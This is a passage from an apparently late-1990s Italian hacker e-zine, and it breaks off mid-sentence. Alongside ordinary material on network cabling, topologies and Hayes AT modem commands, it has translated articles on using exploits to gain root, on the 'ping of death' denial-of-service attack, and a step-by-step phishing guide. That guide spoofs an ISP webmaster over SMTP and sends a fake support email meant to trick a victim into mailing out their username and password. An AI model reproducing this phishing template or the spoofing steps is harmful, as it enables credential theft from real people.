topologia delle rete che fa uso di fibre ottiche puo' essere a stella o a dorsale. I connettori piu' comuni sono i connettori SMA ed FDDI. La lunghezza massima del cavo e' di 2 km. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ATTENZIONE = okkio che se si avvicinano gli occhi al raggio trasmesso vi e' pericolo di cecita' permanente quindi assicuratevi prima di guardare che il cavo sia scollegato dalla rete! - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - VANTAGGI - resistenza alle interferenze (EMI e RFI nun vi fanno na sega!) - alto livello di sicurezza (e' impossibile intercettare i dati trasmessi lungo il cavo senza rompere il circuito) - grande larghezza di banda (655 Mbps con ATM e 1 Gbps con specifiche Ethernet) SVANTAGGI - difficolta' di installazione (e' difficile allacciare i cavi ai connettori) - costo (un metro di cavo sono quasi 100.000 lire quindi pensateci prima di mettere le fibre ottiche nella vostra azienda con 400 uffici!!! hihihi) ___---=== ETERE ===---____ Se nei casi appena sopra visti c'era semre un limite, un confine fisico, nell'etere non vi sono confini / limiti, quindi una trasmissione non confinata si puo' muovere ovunque. Vediamo adesso i tipi di segnali che si possono trasmettere nell'etere: - TRASMISSIONE LASER - TRASMISSIONI TERRESTRI - TRASMISSIONI SPAZIALI Ora 5/6 righe su ogni voce di questo elenco: ___---=== TRASMISSIONE LASER ===---____ E' una trasmissione che fa uso della luce laser. Si basa su circuiti simili a quelli creati mediante le fibre ottiche, ma qui il mezzo trasmissivo non e' il vetro. I vantaggi sono il non richiedere cablaggio tra i sistemi e le grandi larghezze di banda raggiungibili [ 10 Mbps in + ], mentre gli svantaggi sono il poter coprire SOLO le corte distanze, l'essere sensibili alle condizioni atmosferike e il fatto che l'allineamento dei dispositivi richiede molta cura. ___---=== TRASMISSIONE TERRESTRE ===---____ Le trasmissioni terrestri sono essenzialmente segnali radio generati a terra. Le trasmissioni televisive e le stazioni radiofoniche sono esempi di t.t. I vantaggi sono il fatto di essere meno sensibile alle condizioni atmosferiche e l'avere una portata maggiore delle trasmissioni laser (circa 100 km) mentre lo svantaggio principale e' il non avere un elevato livello di sicurezza (il segnale puo' essere facilmente intercettato). Vengono usate soprattutto x le MAN cioe' le Metropolitan Area Network. ___---=== TRASMISSIONE SPAZIALI ===---____ In questo tipo di trasmissione i segnali generati da una stazione terrestre vengono fatti rimbalzare su di uno o + satelliti che orbitano intorno al pianeta. I vantaggi sono la distanza che puo' raggiungere il segnale trasmesso, il fatto di non essere x niente influenzato dalle condizioni ambientali e l'essere in grado di supportare una rete portatile. L'unico svantaggio (che da solo xo' e' sempre una bella mazzata!!!) e' l'enorme costo che si deve sostenere. *********************___---=== TOPOLOGIE DI RETE ===---____******************* PREMESSA = si sconsiglia la visione dei seguenti disegnini a chi e' malato di cuore e non si accettano mail con il msg "i tuoi ascii fanno skifo" perche' lo so gia', capito??? okkey ^_^ Adesso che conoscete i vari mezzi trasmissivi diamo un okkiata alle principali topologie fisiche, cioe' i modi secondo i quali si devono collegare i ns amati PicCi. I 3 tipi di topologia fisica principali sono: DORSALE = detta anke bus, e' la configurazione comunemente adottata nella connessione mediante cavo coassiale. Tutti i sistemi sono collegati alla dorsale mediante connettori a T attraverso i quali scorre un singolo cavo. Usata x collegare 2 o + sistemi. ͻ ͻ ͻ ͻ PC1 PC2 PC3 PC4 ͼ ͼ ͼ ͼ μ μ μ μ esempio di topologia a ͻ dorsale SERVER ͼ STELLA = usata x le connessioni mediante doppino telefonico. Ogni sistema e' collegato a un dispositivo centrale, un concentratore o un commutatore. Ogni cavo collega solo 2 stazioni fisicamente. ͻ esempio di ͹ CONCENTRATORE ͻ topologia ͼ a stella ͻ ͻ ͻ PC1 PC2 SERVER ͼ ͼ ͼ ANELLO = adottata sulle connesioni basate sulle fibre ottiche. Ogni porta output e' collegata con la porat input dela stazione successiva; l'ultima stazione si collega con la prima, chiudendo il percorso. ͻ ͻ PC1 RX < TX PC4 ͼ ͼ TX esempio RX | di / \ | topologia | \ / ad | RX anello TX ͻ ͻ PC2 TX > RX PC3 ͼ ͼ /|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\ INIZIO PICCOLA NOTA SULLO STANDARD 568 Lo standard 568 di ANSI/EIA (America National Standards Institute / Electronic Industries Association) definsce diverse categorie (indicate dalla sigla CAT) che specificano le velocita' di traferimento dei dati supportati da un tipo particolare di cavo. Tengono conto sia del materiale che del tipo di connettori utilizzati. Le categorie sono: CAT 1 e 2 ----> voce e dati a bassa velocita' (connessioni modem) CAT 3 --------> voce e dati fino a 10 Mbps CAT 4 --------> voce e dati fino a 16 Mbps CAT 5 --------> voce e dati fino a 100 Mbps Le piu' usate sono CAT 3 e CAT 5, e probabilmente CAT 5 verra' ( se non lo e' gia') incorporata nella specifica Ethernet 1 Gbps. FINE PICCOLA NOTA SULLO STANDARD 568 /|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\ Questo articolo (se tale puo' essere considerato) e' stato fatto da N0bodY88 con un grande (e ci tengo a puntualizzare quel grande!) aiuto di vari libri, riviste e pensieri suoi + che strani, e lo dedica a ZeroCool il suo mito personale! Byez a tutti N0bodY88 NOTA BY N0bodY88 = questo articolo lo pubblichiamo dopo aver avuto l'ok del SUL PROSSIMO Ghost Computer Club. Ho deciso di metterlo sulla e-zine ARTICOLO perche' l'ho letto sulla hp del GCC e nonstante non sia CHE recente (e' del 96 infatti) e' una vera e propria guida PARLERA' ai modem e quindi, dopo aver chiesto se potevo metterlo DI sulla e-zine, ho ricevuto l'assenso da Sergio Ferrara MODEM che ringrazio qui pubblicamente x la sua disponibilita'. Il sito del Ghost Computer Club (dove troverete questo ed altri articoli moooolto interessanti) e' il seguente: http://www.ghostcomputerclub.it ===================================================================== La scatola magica ===================================================================== La scatola magica Il modem per molti e' ... il passaporto per le stelle; tramite esso infatti e' possibile per tutti avere il mondo a portata di click! In attesa del definitivo trionfo della tecnologia ISDN, prendiamo dunque in esame questo fondamentale dispositivo! Strutturalmente possiamo considerarlo come un telefono a byte; ma se ci possiamo permettere che una voce sia gracchiante, non possiamo assolutamente consentire che i dati arrivino rovinati (ad esempio i programmi che scarichiamo...), perche' dopo non funzionerebbero. Ma come funziona un modem? Cerchiamo di capirlo. Come si controlla il modem Protocolli e comandi AT Le interfacce grafiche e degli ambienti operativi multitasking hanno indubbiamente facilitato moltissimo la gestione del modem; ora e' tutto molto piu' facile; fino a circa 10 anni fa infatti, erano due i grossissimi limiti; la gestione del modem era molto complicata e i modem costavano uno sproposito (anche 20 volte il costo odierno); ora in tutti e due casi tutto e' migliorato; e' possibile acquistare ottimi modem al prezzo di circa 250000 lire e anche meno. Non e' piu' necessario poi conoscere nel dettaglio i vari tipi di comandi che occorre impartire per eseguire, per esempio, una connessione. Lo si puo' infatti direttamente impostare tramite funzionali finestre di dialogo e opzioni di configurazione dei programmi di comunicazione e del Pannello di Controllo, adoperando il mouse, in modo quindi molto piu' intuitivo. Inutile comunque ribadire come conoscere almeno i rudimenti faciliti sempre le cose, specie in condizioni di "emergenza". importante conoscere innanzitutto quali sono le caratteristiche che influenzano il comportamento del modem quando e' connesso alla linea telefonica, e quali tipi di protocolli e specifiche vengono adoperati per migliorare la qualita' di trasmissione. Velocita' e caratteristiche della linea La maggior parte dei modem adopera al massimo due portanti per le comunicazioni full-duplex. Queste portanti sono di solito modulate in modo da adoperare tutta larghezza di banda disponibile. Molto spesso pero' la qualita' delle linee telefoniche non e' sufficiente a garantire comunicazioni affidabili su tutta la larghezza di banda che il modem si aspetterebbe. In questi casi, la maggior parte dei modem veloci ha la capacita' di ripiegare su velocita' inferiori (fallback), negoziando con il sistema remoto la miglior velocita' possibile in condizioni di sicurezza. Cio' avviene automaticamente, durante la connessione. Considerando la qualita' delle linee telefoniche, quasi sempre una connessione V.34 (28.8000 bps) si riduce nel corso del collegamento a 26.400 bps. Ancora piu' difficile e' stabilire una connessione a 33.600 bps; piu' spesso un modem di questo tipo riesce a garantire una buona qualita' di trasmissione a 28800 o a 31200. Attualmente dunque, almeno in Italia, le linee telefoniche presenti non consentono di sfruttare al 100% i dispositivi a 33600 bps, rendendoli se non inutili, per lo meno sotto utilizzati; il prezzo e' pero' in costante discesa, e dunque non mi preoccuperei del dilemma se acquistare un 33600 o un 28800 (ho volutamente trascurato i 14400), ripiegando comunque su un 33600. Il controllo derrore Dal momento che tutti i modem ad altra velocita' operano molto vicino ai limiti fisici del canale telefonico, essi sono per natura piu' soggetti agli errori di trasmissione. Per far fronte a questo problema quasi tutti i modem ad alta velocita' sono provvisti di propri metodi di controllo derrore che funzionano come i protocolli di comunicazione, raggruppando i byte in blocchi e inviando ciclicamente byte di controllo dellinformazione. I metodi di controllo d'errore differiscono ai protocolli di comunicazione software in quanto sono implementati nel modem direttamente su hardware. I protocolli di controllo derrore standard sono Mnp3, il suo successore Mnp4 ed il piu' moderno V.42 compatibile anche con Mnp4. La compressione dati Sebbene non esista un modo per aumentare il numero di bit che possono fisicamente attraversare una linea telefonica, labilita' del modem di gestire informazioni puo' essere aumentata comprimendo, tramite un particolare algoritmo, i dati che devono essere trasferiti attraverso la linea telefonica. In pratica vengono eliminate quelle parti di informazioni non indispensabili comprimendo invece quelle essenziali. Il modem presente su remoto dovra' compiere la procedura inversa di decodifica. Lefficacia della compressione varia a seconda del tipo di dato che deve essere trasmesso. Uno dei principali schemi di compressione dei dati punta a ridurre la dimensione dei dati ripetitivi. Ad esempio, dieci byte consecutivi di valore uguale potrebbero essere codificati in due byte, uno contenente il valore e laltro indicante il numero di ripetizione. Altri tipi di compressione possono eliminare il bit di start, di stop e di parita'. Voglio comunque ribadire che la compressione e' inutile quando non dannosa se si trasmettono elementi binari (file) gia' compressi, tipo gli archivi Zip, Arj, eccetera. Le tecniche di compressione dei dati piu' conosciute rispondono al nome di Mnp5 e V.42 bis, questultimo piu' recente e compatibile verso il basso nei confronti di Mnp5. I comandi AT Anche se ormai praticamente sono i programmi ad impartire i comandi automaticamente, vediamo rapidamente cosa sono i comandi AT. La maggior parte dei modem operano alternativamente in due modalita'. quella detta "di comando" permette alla periferica di ricevere le istruzioni inviategli dal computer, mentre in modalita' di comunicazione opera in modo trasparente, convertendo semplicemente i dati. Si ottiene il passaggio da una modalita' allaltra inviando al modem dei caratteri di controllo. I caratteri possono essere ricevuti ed elaborati soltanto in modalita' di comando poiche' in modalita' di comunicazione essi verrebbero interpretati come dati. I piu' comuni comandi accettati dal modem sono quelli definiti AT Hayes. Questultima e' una delle storiche case produttrici di modem (fondata da David Hayes). Pur non essendosi trasformato a tutti gli effetti in uno standard, il set di comandi Hayes viene in realta' piu' o meno implementato da tutti i modem in commercio. Il set di comandi Hayes comprende parecchie dozzine di istruzioni per il modem che, per la maggior parte, iniziano con una sequenza di due caratteri chiamati "di attenzione" (attention characters, AT). Questi due caratteri di attenzione sono seguiti dai caratteri di comando veri e propri. La maggior parte dei comandi AT fa seguire ai caratteri di attenzione una lettera che specifica la famiglia del comando e un altro carattere che ne indica la natura. Per esempio, H sta per Hook (gancio) ed e' quindi collegato alle operazioni di sgancio e aggancio della linea telefonica (ATH0 interrompe, per esempio, la comunicazione in corso). ATH1 al contrario permette di agganciare la linea, iniziando cosi' la comunicazione. Successivamente al comando di attenzione (AT) si possono combinare numerosi comandi e parametri su una stessa linea. Per esempio, per chiamare un determinato numero telefonico su una linea a toni (la maggior parte di quelle attualmente presenti su( territorio italiano) si dovra' digitare: atdt88888 Nel dettaglio, AT e' il segnale di attenzione, D (dial) e' il comando di composizione del numero, T (tone) indica al modem di adoperare, in fase di chiamata, il normale sistema a toni per comporre il numero, mentre 88888 e' il numero telefonico da comporre. Tutti i comandi AT devono essere seguiti dal carattere Carriage Return, cioe' devono essere confermati battendo il tasto Invio. Quando il modem riceve questo carattere lo interpreta come segnale di fine comando da parte del computer e inizia a elaborarlo Un comando del tutto speciale e' quello che consente al modem di rispondere ad una particolare sollecitazione anche quando opera in modalita' di comunicazione (cioe' quando e' connesso}; questo comando ordina al modem di interrompere la comunicazione di tornare in modalita' di comando. Un comando di questo tipo deve consistere una sequenza di caratteri che non comparira' mai nei dati che si suppone il modem debba spedire lungo la linea telefonica. Sebbene sia impossibile garantire che una data sequenza di comandi non apparira' mai nel normale flusso di una comunicazione, questo comando nel set Hayes e' specificamente progettato perche' una sua apparizione risulti statisticamente improbabile. Questo comando consiste semplicemente in una stringa di tre segni piu' (+++). Affinche' il comando sia ben distinguibile dai dati da trasmettere, il set di comandi Hayes stabilisce inoltre che i tre segni piu' siano separati da qualunque altro carattere tramite pausa di almeno un secondo. I comandi AT estesi e i registri Quando fu sviluppato il set di comandi Hayes, i modem disponevano di un limitato numero di funzionalita'. Nel tempo, insieme ai modem, si sono evoluti anche i relativi comandi di controllo. Queste nuove varianti al set di comandi AT standard viene definito esteso. Questo tipo di nuove funzionalita' include un tal numero di nuove funzioni da rendere inelegante e poco chiara lespressione del comando. Dopo tutto sono solo 26 le lettere dellalfabeto che potrebbero essere utilizzate in comandi di una sola lettera. Hayes ha percio' aggiunto allinterno dei suoi modem un registro speciale, detto anche area di memoria, chiamato registro S, che consente di configurare ulteriori parametri operativi del modem. I comandi inviati a un modem Hayes compatibile sono di nome e di fatto unidirezionali. Il set di comandi Hayes comprende pero' una serie di codici di risposta che svolgono questa funzione di informazione di ritorno nel formato di codici alfanumerici che consentono di valutare la situazione in accordo con il manuale del proprio modem. Le risposte tipiche includono Ok per indicare che il comando e' stato ricevuto e lo si e' elaborato, Connect per indicare il tipo di connessione intervenuta e Ringing per segnalare che il telefono allaltra capo della connessione sta suonando. Rilevamento automatico della velocita' Prima che un collegamento venga instaurato, non vi e' modo di sapere a quale velocita' sara' in grado di operare il modem remoto. I moderni modem sono in grado di regolare automaticamente la velocita' di collegamento (handshaking) in accordo con il modem remoto. Il codice di attenzione del set di comandi Hayes convoglia la quantita' di dati adatta ad essere ricevuta dal modem e adegua nel modo appropriato la velocita' di funzionamento a quella del flusso di informazioni. Un organo dellUnione Internazionale delle Telecomunicazione, il CCITT (comitato consultivo internazionale per la telefonia e la telegrafia) ha creato una sene di' standard per le comunicazioni universalmente accettati. Molti di questi standard riguardano i modem. Per esempio, ormai tutti i modelli risultano compatibili con lo standard CCITT che regola tra laltro i protocolli di connessione con riferimento alla velocita' (come V.34 per indicare 28.800 bps, V.32 per 9.600, eccetera). Configurazione plug & play Con larrivo di Windows 95 la configurazione del modem non e' piu' un problema (o almeno non dovrebbe esserlo). Si collega alla porta seriale del Pc, si esegue la rilevazione automatica dellhardware dallopzione Modem del Pannello di Controllo e il gioco e' fatto. Nella maggior parte dei casi il sistema operativo dovrebbe (il condizionale e' sempre dobbligo) essere in grado di impostare al meglio registri e set di comandi per consentire la connessione tramite applicativi conformi allo standard Tapi (telephony application programming interface). Se cosi' non fosse e' possibile e' necessario accedere alle funzioni Diagnostiche per comprendere quali sono i problemi. Tramite le opzioni Avanzate dal menu Connessione e' possibile personalizzare le impostazioni relative allimpiego del controllo di errore, controllo di flusso. Tramite lapposita finestra di dialogo Impostazioni Addizionali possono inoltre introdurre ulteriori parametri di controllo digitando stringhe di comandi AT aggiuntive. Tramite lopzione Proprieta' di Comunicazione si puo' inoltre predisporre il sistema a seconda del tipo di connessione adoperata (puo' essere, come abbiamo visto piu' sopra, a impulsi oppure a toni). Windows 95 e' inoltre corredato di un apposito programma di comunicazione (HyperTerminal) che consente di adoperare al meglio le opzioni di configurazione del modem caratteristiche di Windows 95. Esso e' inoltre pienamente conforme con lo standard Tapi del quale abbiamo accennato piu' sopra. In ogni caso, gia' da tempo i programmi di comunicazione per Dos e Windows consentono di controllare graficamente le specifiche del modem, con possibilita' di personalizzare la configurazione dei comandi AT in accordo con le proprie esigenze(abilitazione della compressione, della correzione di errore, impostazione del protocollo, eccettera). Il set di comandi Hayes AT attenzione, usato come inizio di tutti i comandi ATln richiesta di codice prodotto e controllo della memoria di sola lettura A/ ripete l'ultimo comando [senza AT o Invio] A risposta senza attesa del segnale di chiamata Bn modo Bell [compatibilita' con il protocollo a 1200 bps] Cn stato della partante (0 = off) [1 = on] Dn compone un numero telefonico Comandi speciali di chiamata P chiamata a impulsi R modo inverso usa le frequenze di risposta quando si origina una chiamata S chiama il numero memorizzato T chiamata a toni (touch tone) W aspetta una seconda chiamata o il tono di accesso @ fa attendere un certo numero di squilli prima di processare il prossimo comando (per accedere a sistemi che non hanno il tono di chiamata) , pausa ! flash [riattacca per mezzo secondo) ; ritorna al modo comando dopo aver effettuato la chiamata En comandi di eco del modem [0 = no) (1 = si) Fn funzionamento full-duplex o half-duplex Hn hook [gancio) [0 = off line) (1 = on line) [2 = telefono e modem entrambi on line) Ln intensita' sonora dellaltoparlante Mn modalita' di funzionamento dellaltoparlante On stato on line Qn comando di quiete per codici di risultato. Sn=x comando dei registri S [n = numero del registro S) [x = valore da porre nello specifico registro). Sn? visualizza il valore del registro S numero n. Vn modo verboso per i codici di risultato. Xn abilita codice esteso di risultato. Yn disconnessione dopo un lungo silenzio. Z preleva il profilo di configurazione preimpostato dalla memoria non volatile. &Cn gestione della rilevazione della portante. &Dn gestione del segnale di terminale pronto. &F preleva profilo di configurazione impostato dal fabbricante nella Rom. &Gn selezione del tono di guardia. &Jn selezione del tipo di connettore telefonico. &Ln selezione linea dedicata o commutata &Mn selezione del modo Asincrono/Sincrono &Pn selezione della lunghezza dimpulso &Rn gestione dei segnali di richiesta di Invio (Rts) e di Pronto a Trasmettere [Rts] e di Pronto a Trasmettere (Cts) &Sn gestione del segnale Modem Pronto (Dsr) &Tn modo test &W scrive in memoria il profilo di configurazione attivo &Xn seleziona la sorgente del clock di trasmissione sinarona [soltanto in modo sincrono] &Zn memorizza il numero di telefono n I codici Hayes di risposta 0 ok comando eseguito senza errori 1 connessione stabilita 2 la postazione dellutente chiamato risulta attiva, ma non risponde 3 non ce' linea 4 errore nella linea di comando o linea troppo lunga 5 connesso a 1200 6 non ce' linea 7 occupato 8 nessuna risposta 10 connessione stabilita ad una certa velocita' Il comando Atxn atx1 visualizza soltanto informazioni relative alla qualita' della connessione (Ok, Connect, Ring - il telefono remoto suona a vuoto, non vi e' riposta del modem -, No Carrier - non vi e' connessione dopo la risposta, o si e' interrotta la comunicazione - ed Error atx2 visualizza le medesime impostazioni di atx1, ma in piu' segnala la velocita' di apertura della porta atx3 visualizza invece anche leventuale segnale di accupato, leventuale mancanza di segnale sulla linea telefonica e la mancata risposta da remoto. atx4 riporta invece tutti i parametri di atx3, compresa la rilevazione della mancanza di segnale di linea atx5 segnala invece tutti i parametri di atx4, piu' la velocita' di apertura della porta, il protocollo negoziato dai due modem al momento del collegamento [per esempio V.32bis], la velocita' a cui corrisponde il protocollo di connessione (V.32bis indica una connessione a 14.400 bps) ed il tipo di controllo di errore adoperato [per esempio V.42bis] atx6 indica i parametri di atx4, piu' la velocita' corrispondente al protocollo di connessione negoziato dai due modem quindi per una connessione avvenuta in v.34 verra' indicato 28800) ed una generica indicazione relativa al controllo di errore (ARQ) atx7 visualizza i medesimi parametn di atx6, ad eccezione dell'indicazione del controllo di errore, che sara' piu' specifica, con identificazione del protocollo Gli standard V per la trasmissione dei dati Definititi da ITU-TSS [Internation Telecommunications Union -Telecommunications Standards Sector], ex CCITT [Comite' Consultatif International Te'le'phonique et Te'le'graphique), l'organismo a livello internazionale che cura lorganizzazione delle telecomunicazioni, gli standard V definiscono la velocita' di trasferimen to via linee telefoniche. Standard Bell 103 V.21 V.22 V.22bis V.23 V. 26bis V.27bis V.29 V.32 V.32bis V.34 V.34+* Velocita' espressa in bit per secondo 300 300 1200 2400 600 / 75 e 1200 / 75 2400 4800 9600 9600 14400 28800 33600 Legenda: *- protocollo proprietario US Robotics, omologato nell'ottobre 96 come semplice estensione del V.34. Gli standard V per la gestione dei fax Il protocollo ITU-T T.30 definisce le procedure per la connessione dei fax di classe G3. Il modem adopera le specifiche di questo protocollo per inizializzare e terminare una chiamata fax, gestire la sessione di comunicazione e trasferire limmagine grafica del fax. Questi sono invece gli standard che delimitano le varie velocita' possibili: Standard V.17 V.21 V.27ter V.29 Velocita' espressa in bit per secondo 14.400 14.400 canale 2 (300 bps) 2400/4800 7200/9600 Realizzazione Html a cura di Armando Mancini & Loredana Gallea Adattamento Txt by N0bodY88 Copyright 1997 Ghost Computer Club ۰۰۰۰۰۰۰۰۰۰۰ ۰۲۰۰۲۰۰۰۰۰۲۰۰۰ ۰۰۲۰۲۰۰۰۰۰۲۰۰۰۰ ۰۰۰۰۲۰۰۰۰۰۲۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰۰۰ WWWWW WWWWW W WWWW W W WWWWW W WWWWW W W W W W W W W W W W W W W W W WW W W W WWWW WWWWW W W W W W W W W W W W W W W W W W W W W W W W W W W WW W W W W W W WWWW WWWWW WWWWW W WWWWW W W W (...ovvero come dis-imparare l'inglese con WURZ) Salve ragazzi, mi presento: sono Wurz. Qualche tempo fa, girovagando qua e la' in rete, ho notato che, nonostante l'abbondanza di testi, manuali, faq varie, un sacco di gente non ne approfitta. E questo perche'? Semplice, sono in INGLESE!!! E allora mi sono detto: 'beh, perche' non dare un piccolo aiuto, traducendo un po' di informazioni di chi non ha la fortuna di conoscere l'italiano?'. :-) Ho quindi contattato N0body88 e ZeroCool offrendomi come traduttore. Non l'avessi mai fatto: quei due marpioni ne hanno approfittato e mi hanno scaricato qualche Terabyte di .txt da tradurre!!! ;-))) Comunque mi sono messo d'impegno e i risultati li vedete su queste pagine: spero che i 'puristi' non si lamentino, ma e' il meglio che posso fare (ed e' sempre meglio di niente). Non mi ritengo assolutamente un Newbie: in effetti il vero Newbie e' qualche centinaio di gradini al di sopra di me. Con la mia opera spero solo di poter contribuire a far capire un qualcosa di piu' a chi ne ha bisogno. E prima di finire, un semplice appunto: nel caso (probabile) che abbia commesso degli errori, fatemelo sapere, cosi' magari in un numero successivo potro' fare degli errata corrige. Il mio indirizzo e': wurzel@freemail.it Ciao a tutti Wurz ͻ Ŀ EXPLOITS ٺ ͼ Originale di Miah Tradotto da WURZ --- Exploits --- Molta gente mi domanda degli exploits, cosa sono, cosa fanno, e come usarli. Bene, sto scrivendo questo documento con la speranza di spiegarlo per l'ultima volta. Mi sto cominciando a seccare di spiegarlo ogni volta che sono su irc, cosi' ho pensato ci debba essere un testo di spiegazioni. Bene, eccolo qui. - miah --- Cos'e' un 'exploit'? --- In poche parole, un exploit e' un programma che sfrutta [WURZ says: to exploit = sfruttare] un bug in un software specifico. Tutti gli exploits sono differenti, fanno cose differenti su bugs differenti, ecco perche' gli exploits sono sempre specifici ad ogni programma. Gli exploits sono fatti per avere accesso alla root di diversi sistemi operativi. Raggiungono questo risultato sfruttando un bug nel software quando il software sta operando come root. Nei sistemi operativi tipo Unix, il software puo' dover operare come root (o UID 0) per eseguire un compito specifico che non puo' essere eseguito da un altro utente. Cosi' in pratica l'exploit fa un crash del software in uso come root per darti il bellissimo prompt root. Bene, ora che ho risposto alle domande uno e due, andiamo alla domanda tre. --- Come posso usare un exploit? --- Poiche' nel 99% dei casi gli exploits sono codificati in C, hai bisogno di una shell nel box su cui stai per usare l'exploit, oppure hai bisogno di usare lo stesso sistema operativo del box che stai provando a hackare. In pratica hai bisogno di mettere il codice sorgente o il binario nella dir del tuo shell account (per fare questo ne userai una hackata o una shell non tua :-)); per metterlo nella tua shell puoi fare un ftp sul tuo account e uploadarlo in questo modo, oppure puoi usare rz se stai usando una shell dialup. D'altro canto non dovrei spiegare troppo certe cose, e' proprio facile. Una volta che hai l'exploit nel box, hai solo bisogno di compilarlo. Di solito lo compilerai usando blah:~/$gcc exploit.c che dovrebbe compilare il tuo exploit. In ogni modo stai attento che certi codificatori d'exploit sono truffaldini, e gli piace la gente che non conosce il C, cosi' qualche volta inseriscono dei bugs nell'exploit, non abilitandolo alla compilazione. Cosi' aiuta sapere il C, quando si gioca con il C :-). Dopo aver effettuato la compilazione, dovresti essere capace a far funzionare l'exploit e il suo lavoro sara' fatto quando vedrai il prompt di root. In ogni modo non tutti gli exploits sono uguali, e potrebbero richiedere diverse linee di comando per funzionare. --- Dove posso avere degli exploits? --- Due dei posti migliori in cui ho trovato degli exploits sono http://get.your.exploits.com e http://www.rootshell.com sono entrambi grandi risorse di exploits e di altre informazioni. --- Conclusione --- Bene, questo spiega bene tutto cio' di cui hai bisogno di sapere sugli exploits. Se pensi che debba includere qualsiasi altra informazione fammi una mail al seguente indirizzo : miah@hackersclub.com (R)1999, WURZ ͻ Ŀ COME AVERE LA PASSWORD ISP DEL TUO AMICO/NEMICO ٺ ͼ Come avere la password ISP del tuo amico/nemico? -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- E cosi' vuoi cominciare a risparmiare un po' di denaro, eh? E... non vuoi pagare l'ISP, eh? -K-! [WURZ says: in gergo trasmissioni, "K" indica "Ricevuto"] Prova questo: Disclaimer: Questo testo e/o qualsiasi altra cosa di questo documento e' stata fatta con solo scopo informativo! La responsabilita' dell'utilizzo e' del solo lettore! L'autore (E IL TRADUTTORE) di questo documento non sono responsabili di qualsiasi cosa venga fatta con queste informazioni! Ora che abbiamo finito, cominciamo! 1)Esegui il tuo programma telnet: - su Windows, vai in menu' AVVIO -> ESEGUI -> TELNET. - su Linux, devi aprire una shell, e scrivere telnet. 2)Quindi connettiti (su Windows "connect", su Linux "open") a qualche server anonimo, se non ne hai cercane uno, se sei troppo lamer allora mandami un'e-mail immediatamente! Te ne daro' uno in un minuto! Nota: dovresti connetterti al Server Mail Program (porta 25)! 3)Ora, scrivi quanto segue: mail from:[**WEBMASTER DEL TUO AMICO**] rcpt to:[**INDIRIZZO E-MAIL DEL TUO AMICO**] data Salve [**NOME DEL TUO AMICO**], questo e' il team di supporto del [**NOME DELL'ISP DEL TUO AMICO**]; ultimamente il nostro server ha avuto dei problemi con la connessione, i files user-password sono stati distrutti, e' stato quindi usato il backup ed era tutto ok. Ma ieri abbiamo scoperto che non e' una versione aggiornata del file, cosi' ti saranno addebitati molti piu' soldi ogni volta che lo usi! Per ovviare al problema, abbiamo creato un programma speciale per correggere l'errore; tutto quello che TU devi fare e' spedire un'e-mail a: "[**NOME DELL'ISP DEL TUO AMICO**]@GalaxyCorp.com" e nel subject scrivi il tuo user name e la tua password. Nota: se non verranno seguite queste istruzioni nulla sara' rimborsato. Grazie, il support team! 4)Premi enter due volte e quindi scrivi "." (senza "") e premi enter! Ora, dove hai visto ** vuol dire che forse non hai capito del tutto, cosi' ti daro' un semplice esempio ;-). [**WEBMASTER DEL TUO AMICO**] - per esempio, se il tuo amico e' connesso tramite AOL, allora digita "webmaster@aol.com", capito? [**INDIRIZZO E-MAIL DEL TUO AMICO**] - per esempio, se l'indirizzo e-mail del tuo amico e' john@aol.com, allora digita "john@aol.com". [**NOME DEL TUO AMICO**] - se il tuo amico si chiama "John", allora digita "John". [**NOME DELL'ISP DEL TUO AMICO**] - se il tuo amico e' connesso tramite AOL (America On Line), allora digita "America On Line". [**NOME DELL'ISP DEL TUO AMICO**]@GalaxyCorp.com - questa e' la parte difficile, ma se stai leggendo questo, allora non preoccuparti, sei ad un passo dalla fine! ;-).. * lancia il tuo browser (Explorer/Netscape), e digita "Http://www.galaxycorp.com". * segnati per un account e, quando ti chiedono quale username vuoi, allora prova la cosa piu' vicina al nome dell'ISP del tuo amico (per esempio, se il tuo amico e' connesso tramite AOL (America On Line) allora prova "aol" o "a o l" o "america_on_line"!) * e quando ti chiedono la tua e-mail, digita la tua Vera!!! Ora continua la tua vita normale, e ricorda di leggere la tua e-mail!! Se improvvisamente ricevi un messaggio dall'indirizzo e-mail del tuo amico, e il subject e' "john j4o87HnzG" allora, indovina un po', hai appena risparmiato 10$ al mese! F-o-X Contact information: Email - FoXeS@ThePentagoN.CoM WWW - WWW.FoReSt.CC (under construction) ͻ Ŀ LARGE PACKET ATTACKS (ALIAS PING DELLA MORTE) ٺ ͼ Tradotto da WURZ [ Introduzione ] Recentemente, Internet ha visto una grande crescita degli attacchi Denial of Service [WURZ says: negazione di servizio]. Un attacco D.o.S. in questo caso e' semplicemente un'azione di un certo tipo che previene il normale funzionamento della rete. Nega il servizio. Questa tendenza e' cominciata qualche mese addietro con il flooding TCP SYN e continua con il "large packet attack" [WURZ says: attacco con grossi pacchetti]. A confronto con il flooding SYN, il l.p.a. e' un attacco molto piu' semplice sia come concetto (spiegato sotto) che come esecuzione (l'attacco puo' essere portato da chiunque abbia accesso ad una macchina con Windows 95). Il flooding TCP SYN e' di natura piu' complessa e non sfrutta i difetti quanto la debolezza della perfezione. L'l.p.a. e' pure piu' devastante che il flooding TCP SYN. Puo' semplicemente causare un crash della macchina, dove il flooding SYN puo' negare ad una macchina l'accesso alla posta o ai servizi web solo per la durata dell'attacco. Per maggiori informazioni sul flooding TCP SYN vedi Phrack 49, articolo 13. (NOTA: l'l.p.a. e' erroneamente chiamato "Ping della Morte" perche' e' spesso rilasciato come pacchetto Ping. Ping e' un programma che e' usato per testare la raggiungibilita' di una macchina per vedere se e' viva e se accetta richieste di rete. Ping e' pure un modo conveniente per mandare i grossi pacchetti all'obiettivo). L'l.p.a. ha causato infiniti problemi ad innumerevoli macchine attraverso Internet. Dalla sua scoperta, *dozzine* di sistemi operativi si sono rivelati vulnerabili, assieme a molti routers, servers, X-terminal, stampanti, ecc.. Qualsiasi cosa con uno stack TCP/IP e' infatti potenzialmente vulnerabile. Gli effetti dell'attacco variano da lievi a devastanti. Molte macchine vulnerabili sospenderanno l'attivita' per un periodo di tempo relativamente breve e poi si ristabiliscono, altre la sospendono indefinitamente, altre 